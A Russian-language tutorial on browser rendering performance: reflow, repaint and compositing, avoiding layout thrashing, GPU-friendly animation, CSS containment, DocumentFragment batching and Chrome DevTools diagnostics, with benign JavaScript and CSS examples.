Repaint (Paint) — перерисовка пикселей

Геометрия не меняются, но пиксели перерисовываются.

// Триггерит Repaint (но НЕ Reflow)
element.style.backgroundColor = '#ff0000';
element.style.color = '#ffffff';
element.style.boxShadow = '0 2px 8px rgba(0,0,0,0.3)';
element.style.borderRadius = '8px';
element.style.outline = '2px solid blue';
element.style.visibility = 'hidden'; // Replow НЕ происходит

// display: none — триггерит Reflow (элемент удаляется из layout)
element.style.display = 'none';

Composition — только GPU

Браузер создаёт отдельный слой (layer) и отправляет его на GPU. Изменения transform и opacity не требуют пересчёта layout или перерисовки пикселей — GPU просто перекомпонует существующие слои.

// ✅ Триггерит только Composition — самый дешёвый путь
element.style.transform = 'translateX(100px)';
element.style.transform = 'scale(1.5)';
element.style.transform = 'rotate(45deg)';
element.style.opacity = '0.5';

// ✅ Также Composition (с оговорками)
element.style.filter = 'blur(5px)';
element.style.backdropFilter = 'blur(10px)';

Layout Thrashing — детальный разбор

Проблема: interleaved read/write

// ❌ АНТИПАТТЕРН: layout thrashing
// Каждая итерация вынуждает браузер выполнить Reflow
const items = document.querySelectorAll('.item');

items.forEach(item => {
// ЗАПИСЬ — инвалидирует layout
item.style.width = '200px';

// ЧТЕНИЕ — форсирует синхронный Reflow, чтобы получить актуальное значение
const height = item.offsetHeight;

// ЕЩЁ ЗАПИСЬ — снова инвалидирует layout
item.style.height = height * 2 + 'px';

// ЕЩЁ ЧТЕНИЕ — снова форсирует Reflow
const top = item.offsetTop;
});

// Результат: N элементов × 2 Reflow = 2N синхронных reflow
// При 1000 элементах — 2000 принудительных reflow в одном кадре

Решение: batching (разделение чтения и записи)

// ✅ ПАТТЕРН: batch read → batch write
const items = document.querySelectorAll('.item');

// ФАЗА 1: Читаем ВСЕ значения за один проход — 1 Reflow
const heights = [];
const tops = [];
items.forEach(item => {
heights.push(item.offsetHeight);
tops.push(item.offsetTop);
});

// ФАЗА 2: Пишем ВСЕ значения за один проход — 1 Reflow
items.forEach((item, i) => {
item.style.width = '200px';
item.style.height = heights[i] * 2 + 'px';
});

// Результат: всего 2 Reflow вместо 2N

Свойства, форсирующие синхронный Reflow

// Чтение этих свойств вызывает принудительный Reflow:
element.offsetWidth;
element.offsetHeight;
element.offsetTop;
element.offsetLeft;
element.clientWidth;
element.clientHeight;
element.scrollWidth;
element.scrollHeight;
element.scrollTop;
element.scrollLeft;
element.getBoundingClientRect(); // Возвращает полную геометрию
element.getComputedStyle(); // Вычисленные стили
element.focus(); // Может вызвать скролл

// Все они требуют актуального layout — браузер вынужден выполнить Reflow

Оптимизация анимаций

/* ❌ ПЛОХО: анимация на top/left — каждый кадр вызывает Reflow + Paint + Composite */
@keyframes slide-bad {
from { left: 0; }
to { left: 200px; }
}

.box-bad {
position: absolute;
animation: slide-bad 0.3s ease-out;
}

/* ✅ ХОРОШО: анимация на transform — только Composite */
@keyframes slide-good {
from { transform: translateX(0); }
to { transform: translateX(200px); }
}

.box-good {
position: absolute;
animation: slide-good 0.3s ease-out;
}

/* ✅ Promote to layer заранее (для элементов, которые точно будут анимироваться) */
.box-will-animate {
will-change: transform; /* Браузер создаёт composition layer заранее */
}

/* ⚠️ Не злоупотреблять — каждый слой потребляет видеопамять */
/* ❌ Плохо: */
* { will-change: transform; } /* Каждый элемент — отдельный слой = memory overflow */

Оптимизация скрытия элементов

/* display: none — удаляет из layout, вызывает Reflow */
.hidden-display {
display: none;
}

/* visibility: hidden — остаётся в layout, только Repaint */
.hidden-visibility {
visibility: hidden;
}

/* opacity: 0 — остаётся в layout, только Composition (дешевле visibility) */
.hidden-opacity {
opacity: 0;
pointer-events: none; /* Блокирует клики и hover */
}

/* Для анимированного скрытия — opacity + pointer-events */
.modal-closing {
opacity: 0;
pointer-events: none;
transition: opacity 0.2s ease-out;
}

requestAnimationFrame для плавных обновлений DOM

// ❌ Плохо: изменения DOM без синхронизации с кадром
window.addEventListener('scroll', () => {
// Может вызываться 60+ раз в секунду
// Изменения могут попасть между кадрами — визуальный артефакт
element.style.transform = `translateY(${window.scrollY}px)`;
});

// ✅ Хорошо: синхронизация с частотой обновления экрана
let ticking = false;
window.addEventListener('scroll', () => {
if (!ticking) {
requestAnimationFrame(() => {
element.style.transform = `translateY(${window.scrollY}px)`;
ticking = false;
});
ticking = true;
}
});

CSS Containment — изоляция изменений

/* Браузер знает, что изменения внутри .card НЕ влияют на внешний layout */
.card {
contain: layout paint;
/* layout — Reflow внутри .card не распространяется наружу */
/* paint — содержимое не выходит за границы */
/* style — счётчики/квоуты внутри не влияют наружу */
/* size — размер не зависит от содержимого (нужно задать явные размеры) */
}

/* Для списков с большим числом элементов */
.product-list {
contain: strict; /* Максимальная изоляция */
}

DocumentFragment для пакетной вставки

// ❌ Плохо: каждый appendChild — потенциальный Reflow
const list = document.getElementById('list');
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
list.appendChild(li); // 1000 отдельных вставок = 1000 Reflow
}

// ✅ Хорошо: DocumentFragment — одна вставка = 1 Reflow
const list = document.getElementById('list');
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
fragment.appendChild(li); // Вставка в память, не в DOM
}
list.appendChild(fragment); // Одна вставка в DOM = 1 Reflow

Инструменты диагностики в Chrome DevTools

Performance Tab:

1. Нажать Record
2. Выполнить подозрительное действие
3. Остановить запись
4. Анализ:
- Красные треугольники — Long Tasks (> 50ms)
- Секция "Main" — задачи в основном потоке
- "Layout" в огненном графе — Reflow
- "Paint" — Repaint
- "Composite Layers" — Composition

Paint Flashing:

Rendering → Paint flashing (в DevTools)
- Зелёные области — перерисованные области
- Чем больше зелёного — тем хуже
- Идеал: перерисовываются только анимированные элементы

Layers Panel:

More Tools → Layers
- Показывает все composition layers
- Каждый слой потребляет видеопамять
- Слишком много слоёв → memory pressure → падение FPS

Сводная таблица оптимизаций

ПроблемаРешение
Layout thrashingBatch read → batch write
Анимация на top/leftЗаменить на transform
Частые изменения DOMDocumentFragment, requestAnimationFrame
Изменения распространяются на весь деревоCSS Containment
Скрытие элементовopacity + pointer-events вместо display: none
Слишком много composition layersУбрать лишний will-change
Чтение геометрии в циклеКэшировать значения, читать до записи